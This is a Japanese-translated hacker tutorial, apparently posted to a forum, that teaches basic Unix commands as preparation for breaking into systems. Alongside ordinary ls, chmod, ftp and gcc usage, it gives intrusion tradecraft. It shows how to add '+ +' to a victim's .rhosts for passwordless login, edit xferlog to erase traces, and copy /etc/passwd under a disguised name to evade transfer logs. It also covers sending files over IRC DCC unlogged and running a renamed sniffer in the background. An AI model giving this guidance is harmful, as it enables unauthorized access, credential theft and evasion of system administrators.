お子様 UNIX 第2部


第2回 投稿者:掃除人  投稿日:03月06日(金)

   ====================   お子様 UNIX   第2部  =======================

--------------------------------
第1章  Unix コマンド
Chapter I 
Unix commands you need to know.
--------------------------------
ここでは基本的なコマンドを説明する。それからアクセスを続けるために役に立つ
いくつかの Unix プログラムを説明する。
まずインターネットサービスプロバイダに電話して、shell アカウントを申し込む。
それは基本的なコマンドを学んだり、経験を積める。平均的なシェルアカウントは、
10$(月)くらいだ。

------------------------------
セクション 1A  基本コマンド
Section 1A
Basic commands
------------------------------
理解するのに有効な基本的なDOSの知識があるものとして進める。恐らくここで
説明することは既にわかっているだろう。

Unix は大文字と小文字を区別する(case sensitive)事に注意!
もし、私がスペースを使ったらそうする事。DOSは大抵無視するが UNIX は違う。
DIR/W      = ls
DIR        = ls -l
DIR/AH     = ls -al  AH=(hidden) -al=(include hidden files as well as regular)
RENAME     = mv
ATTRIB     = chmod
MD         = mkdir
RD         = rmdir
DEL        = rm
COPY       = cp

これが基本的なコマンドだ。それぞれの man ページを参照する事。これには
 'man command' とタイプする。
これらのコマンドはスイッチ(オプション)を持っている。cp -R はディレクトリと
ファイルをコピーする。man cp とタイプすればコピーコマンドのすべてのスイッチ
を知ることができる。

cd {press enter} は常にホームディレクトリに移動する。
cp filename $HOME はホームディレクトリにファイルをコピーする。(*1)
cd ~username はアクセスが許されていれば username のホームディレクトリへ移動する。
pwd {press enter} は現在のディレクトリを表示する。


(*1) ~ (チルダ)と同じ。環境変数 HOME は login 時にセットされる。
     ~ は URL(http://cc.rim.or.jp/~tamon)にも使われるが、この場合 httpdの設定に
       より、実際には ~tamon/www や ~tamon/public_html を指している。
-------------------------
セクション 1B  Telnet
Section 1B  Telnet
-------------------------
Telnet は shell account から使うコマンドだ。Windows,OS/2,Windows95 などには
実行ファイル(Telnet.exe)がある。これはネット上の他のマシンへ接続する。この
他に FTP,rlogin も学ばなければならない。
IP address や HOST 名がわかれば telnet できる。
telnet netcom.com  あるいは  telnet 206.146.43.56

OK, では、ログインしよう。
telnet machine.com
Trying .....
Connected to machine.com

Linux 2.0.28 (machine.com) (ttyp0)     (*2)

Machine Login:username
Password:#######

bash$

プロンプトは異なるだろう。ここではこれを使う。
ログインプロンプトでOSがわかる。

別の方法もある。しかしもう少し telnet の話題を続ける。
何が走っているか調べたら ctrl ] でコネクションを切る。

必要なのは、ひとつのアカウントだ。そして、そのマシンの root になれるだろう。
Linux には多くのホールがある。さあ、手に入れよう。素晴らしいハッキングの世
界のスタートだ。

(*2)この kernel ならf0バグがあるぞー ^^;  2.0.32 でフィックスされた。
-----------------------------
ファイル属性(パーミッション)
UNIX FILE PERMISSIONS
-----------------------------
bash$
bash$ cd /tmp
bash$ ls -l
total 783
-rwx------   1 wood     users           1 jan 25 18:28 19067haa
-rw-r--r--   1 berry    mail            1 jan 16 12:38 filter.14428
-rw-------   1 rhey19   root       395447 jan 24 02:59 pop3a13598
-rw-------   1 rhey19   root       395447 jan 24 03:00 pop3a13600
drwxr-xr-x   4 root     root         1024 jan 12 13:18 screens

最初に tmpディレクトリに移動するには \ ではなく / を使う事に注意。
unix では / を使う。ファイルの詳細(long direktory)には ls -l を使う。
ls では下のようになる。
bash$ ls
19067haa      filter.14428  pop3a13598    pop3a13600    screens

私は普通 ls -al を使う。これは隠しファイル(hidden files)も表示する。
bash$ ls -al
total 794
drwxrwxrwt   4 root     root         8192 jan 25 23:05 .
drwxr-xr-x  22 root     root         1024 dec 28 18:07 ..
-rw-r--r--   1 berry    users           6 jan 25 23:05 .pinetemp.000
drwxr-xr-x   2 berry    users        1024 jan 25 23:05 .test
-rwx------   1 wood     users           1 jan 25 18:28 19067haa
-rw-r--r--   1 berry    mail            1 jan 16 12:38 filter.14428
-rw-------   1 rhey19   root       395447 jan 24 02:59 pop3a13598
-rw-------   1 rhey19   root       395447 jan 24 03:00 pop3a13600
drwxr-xr-x   4 root     root         1024 jan 12 13:18 screens

 .pinetemp.000 は隠しファイル、.test は隠しディレクトリだ。

-rw-r--r--   1 berry    mail            1 jan 16 12:38 filter.14428
ROW 1          ROW2     ROW3
----------------------------
ここで我々はパーミッションとユーザー、グループについて学ぶ。

ROW #1 はファイルパーミッション
ROW #2 はファイルの所有者(OWNER)
ROW #3 はファイルの所有グループ(GROUP OWNER)

ファイルパーミッションは3つのグループで区別される。もし、D で始まっていれば
ディレクトリを表す。そうでなければファイルを表す。

- --- --- ---
| |   |   |--------> OTHER = 他人のアクセス
| |   |------------> GROUP = グループのアクセス
| |----------------> USER  = 所有者のアクセス
|------------------> DIRECTORY


- RW- R-- R--
| |   |   |--------> READ だけできる
| |   |------------> READ だけできる
| |----------------> READ と WRITE ができる
|------------------> DIRECTORY ではない


- RWX RWX R-X
| |   |   |--------> READ と EXECUTE(実行)ができる
| |   |------------> READ WRITE EXECUTE できる
| |----------------> READ WRITE EXECUTE できる
|------------------> DIRECTORY ではない

オーナー(所有者)は ROW #2 、グループは ROW #3 に表示される。
DOSでは実行ファイルは、exe や com、bat の拡張子を持っていた。
しかし、UNIX では --x があれば実行できる。
自分がオーナーか、root ならパーミッションを変える事が出来る。
---------------------------------------------------------------------------
chmod oug+r ファイル名 はすべてのグループに読みとりのパーミッションを与える。

chmod og-r ファイル名 は所有者だけが読むことができる。
( - と + は許可の yes か no をセットする)

chmod +x ファイル名は、すべてに実行許可を与える。

chown username ファイル名  はファイルのオーナーを usermane に変える。
chgrp groupname ファイル名 はファイルのグループを groupname に変える。
---------------------------------------------------------------------------
ファイルのパーミッションとグループは、システムを良く調べて決める。
システムの設定を変えると、他の機能に障害がでるかも知れない。不器用に
いじることは、捕まえてくれと頼んでいるのと同じだ。

確かな事だけ行う。知っているコマンドだけ使う。chown -R username /* のような
タイプミスはフィクスに何時間もかかるし、君が何年も忙しくなるかも知れない。(*3)

  注意深く !


(*3) 言うまでもなく塀の中での労働である。
----------------------
セクション1C rlogin
Section 1C Rlogin
----------------------
これも君が使うかも知れないコマンドだ。これを使ってパスワードなしにシステム
にログインできるかもしれない。

ここでシェルから man rlogin とタイプして、マニュアルを読むこと。

基本的なコマンドは、
rlogin -l username hostname
connecting....
password:

bash$

Rlogin はそのユーザーのホームディレクトリに、どのシステムから rlogin
を受け付けるか知らせるファイルがなければならない。
このファイル、.rhosts は次のようになっている。

ユーザー名 ホスト名  あるいは  ホスト名

もしこのファイルに"+ +"を加えると、どんなユーザーもどんなホストからでも
パスワードなしにログインできる。
そのファイルはこのようになっている。
----- cut here ------
+ +
_____ cut here ------

もし、すでにエントリーがあったら、それらの下に + + を加える事もできる。
しかし彼らに気づかれるかもしれない。
 .rhosts を持っていないユーザーをターゲットにしたほうが良い。

---------------------
セクション1D FTP
Section 1D FTP
---------------------
FTP にはウィンドウクライアントでも、シェルからでもログインできる。

ftp ftp.domain.com

これでハックしたサイトへアップロードもダウンロードもできる。xferlog(セクシ
ョン6D) をエディットし、システムから足跡を消す事を忘れない事。決してハッ
クしたシステムから、ftp や telnet で外へでない事。ただ、入るだけだ。もし自
分のシステムや他のハックしたシステムアカウントへログインすると、ログインと
パスワードを管理者やそのシステムにいる他のハッカーへ与える事になる。これは、
telnetd や ftpd にトロイを仕掛ければできるし、スニファーでも良い。これで誰
かにパスワードを与える事になる。もし、それがシステム管理者なら、彼が愉快な
復讐を企てるかも知れない。;)

シェルから ftp を使う時、いくつかのコマンドを使う。
ログインしてプロンプトが現れたら、これらのコマンドをタイプする。
それぞれのコマンドの後で Enter を押す。
prompt
hash
bin

prompt は mget * や mput * のようにディレクトリすべてを転送する時に、
それぞれのファイルで yes/no を聞いてこない。

hash は転送をスクリーンに ############(hash marks) で表示する。

もしバイナリーファイルを転送するなら、bin を使って確実にする。

転送するコマンドは簡単だ。get ファイル名、あるいは put ファイル名。一度に
ファイルを転送するには mput、mget で普通のワイルドカードが使える。

-------------------------------
セクション1E GCCコンパイラ
Section 1E
GCC compiler
-------------------------------
そろそろファイル(.c)をコンパイルする必要がでてくる。そのマシンでコンパイル
するのがベストだ。ファイルのコピーを送り込んでハックしたマシンでコンパイル
する。もし、そこのコンパイラに問題があったら、コンパイル済みのファイルを持
ち込む事を考える。

victim のマシンにファイルをアップする一つの方法は、コピー&ペーストを使う。
ウィンドウからスクリプトファイルをコピーして、victim マシンのエディタへペー
ストする。それから、それをコンパイルする。アップロードのログはない。同様に
victim からダウンロードもできる。

コピー&ペーストを行うには、ハックしたマシンでエディターを開く。そして他の
セッションからそのエディタへスクリプトをペーストする。そしてセーブする。こ
の方法なら xferlog に残らない。

これはパスワードファイルでも同じ事ができる。パスワードファイルを ftp でダウ
ンロードするとしたら、まずホームディレクトリに違う名前でコピーする。

bash:/etc:> cp passwd $HOME/plog  

これはパスワードファイルを自分のホームディレクトリに plog というファイル名で
コピーする。このパスワードをダウンロードすれば、管理者が転送ログを grep して
も、パスワードファイルを送った事はわからない。

ログに現れずにファイルを転送する別の方法もある。victim のマシンで irc セッシ
ョンを始める。すでに始めている別の ircセッション に dcc を使いファイルを送る。

送るコマンドは、       /dcc send <nick> <filename>
受け取るコマンドは、   /dcc get <nick> <file>

ハッキングする時に、irc に bot を常駐させておくと良い。bot にファイルを送れば
自動的に受け取ってくれる。

'bot' はシェルのバックグラウンドで走るロボットプログラムだ。これでファイルを
受けとったりチャンネルをキープする。

GCCコンパイラは簡単だ。

gcc filename.c -o 実行ファイル名
もし z2.c というファイルをコンパイルして  zap というファイルを作るなら、
gcc z2.c -o zap

これで、zap という実行ファイルができる。

もし、単に gcc z2.c とタイプすれば、a.out という実行ファイルができる。それから
それをリネームする。
  mv a.out zap

これで、zap という実行ファイルができた。

ファイルに名前をつける時に、システム管理者が良く知っている名前をつけては
いけない。もし、linuxsniffer.c というスニファーをコンパイルするなら、君
はこの名前を使いたくないだろう。このようにする。

gcc linuxsniffer.c -o lsn

これらのファイルをそのディレクトリで、単にファイル名をタイプすれば実行できる。
上の例では、 lsn だ。しかし、コマンドの前に ./ をつけなければ動かない事がある。
  ./lsn とタイプしなければならない事も、覚えておかなければいけない。

そろそろ君がログアウトした後でも、バックグランドでプログラムを走らせる方法を
学ばなければいけない。例えば、上のスニファーの場合だ。この場合、簡単に注意を
引くような名前にしてはいけない。ここで自分のスタイルを使う。システムから出た
後にバックグランドで処理させるには、コマンドの後に & を使う。

lsn&  (*3)

ただ、lsn とタイプするだけでは、スクリーンが止まり、プログラムが動いている間
は、何もタイプできない。しかし、lsn& ならすぐにシステムプロンプトが現れる。
走っているプロセスは、システムが教えてくれる。
ps -x コマンドでプロセスを表示する。

こうしても良い。
ps -auxe |more
  a= all
  u= show user
  x= yours
  e= env           (*4)

いくつかのマシンでは、
f=tree
あるいは pstree コマンドがある。


(*3)  &(アンバサンダと読む)バックグランドジョブは jobs コマンドで表示される。
(*4)  a= 端末のすべてのプロセスを表示
      u= プロセスのオーナー(ユーザー)を表示
      x= 端末以外の全プロセス
      e= 実行環境および引数を表示

       ----------------------------------------------------------

[訳者後記]
第二回目で、そろそろまともになってきましたかね。え、とっくに知ってる?
そうですか....  では、そんなアナタに宿題です。
1) .rhosts で+記号を使う以外にセキュリティ上危険になる記号を調べなさい。
   また、その理由は。
     HINT:スクリプトでコメントに使う...
2) ログアウト後も標準出力や標準エラー出力を行なうプログラムを実行させる
   事ができるか。出来るのであれば、そのコマンドを調べなさい。
     HINT: HUPを送らない...
3) 有名になった FTP Bounce Attack とは何か説明しなさい。
     HINT:フランス人がアメリカ人になってファイルを....
4) 優秀な攻撃 botがあったら、筆者に送れ。いや、送ってください...
   日本のIRCサーバー、結構混んでるけど面白いチャンネルはどこでしょ。
   夜中にチャットばかりしないで、たまには本でも読みましょう。
[参考文献]
         クリフォード・ストール 
       カッコウはコンピューターに卵を産む  草思社
         ジョナサン・リットマン
       FBIが恐れた伝説のハッカー           草思社
       天才ハッカー「闇のダンテ」の伝説    文芸春秋
          笠原利香 (写真ではかわいいぞ)
       Hack!!                              ジャストシステム
          William Cheswick他
       ファイアウォール(Berferd事件)       ソフトバンク